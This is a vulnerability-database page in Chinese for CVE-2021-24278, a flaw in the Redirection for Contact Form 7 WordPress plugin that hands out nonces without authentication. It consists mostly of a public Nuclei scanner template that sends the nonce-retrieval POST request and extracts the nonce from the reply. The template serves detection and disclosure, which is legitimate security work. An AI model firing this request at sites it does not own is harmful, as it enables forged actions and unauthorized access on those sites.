CVE-2021-24278: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation

日期: 2025-08-01 | 影响软件: WordPress Contact Form 7 | POC: 已公开

漏洞描述

WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.

PoC代码[已公开]

id: CVE-2021-24278

info:
  name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
  author: 2rs3c
  severity: high
  description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
  impact: |
    Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
  remediation: |
    Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
    - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24278
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24278
    cwe-id: CWE-863
    epss-score: 0.35223
    epss-percentile: 0.96928
    cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: querysol
    product: redirection_for_contact_form_7
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"

    body: "action=wpcf7r_get_nonce&param=wp_rest"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"success":true'
          - '"nonce":"[a-f0-9]+"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - '"nonce":"[a-f0-9]+"'
        part: body
# digest: 4a0a00473045022100e3d2e1c13ec1e0f188d06a4c0b3e119e56de5d18daf1bb0df9b5dc036bba0df602205f2edffcc6a1bed0a0c4bacb1eaf87b0f2a15393494fdec051738e5324e2a6c0:922c64590222798bb761d5b6d8e72950

相关漏洞推荐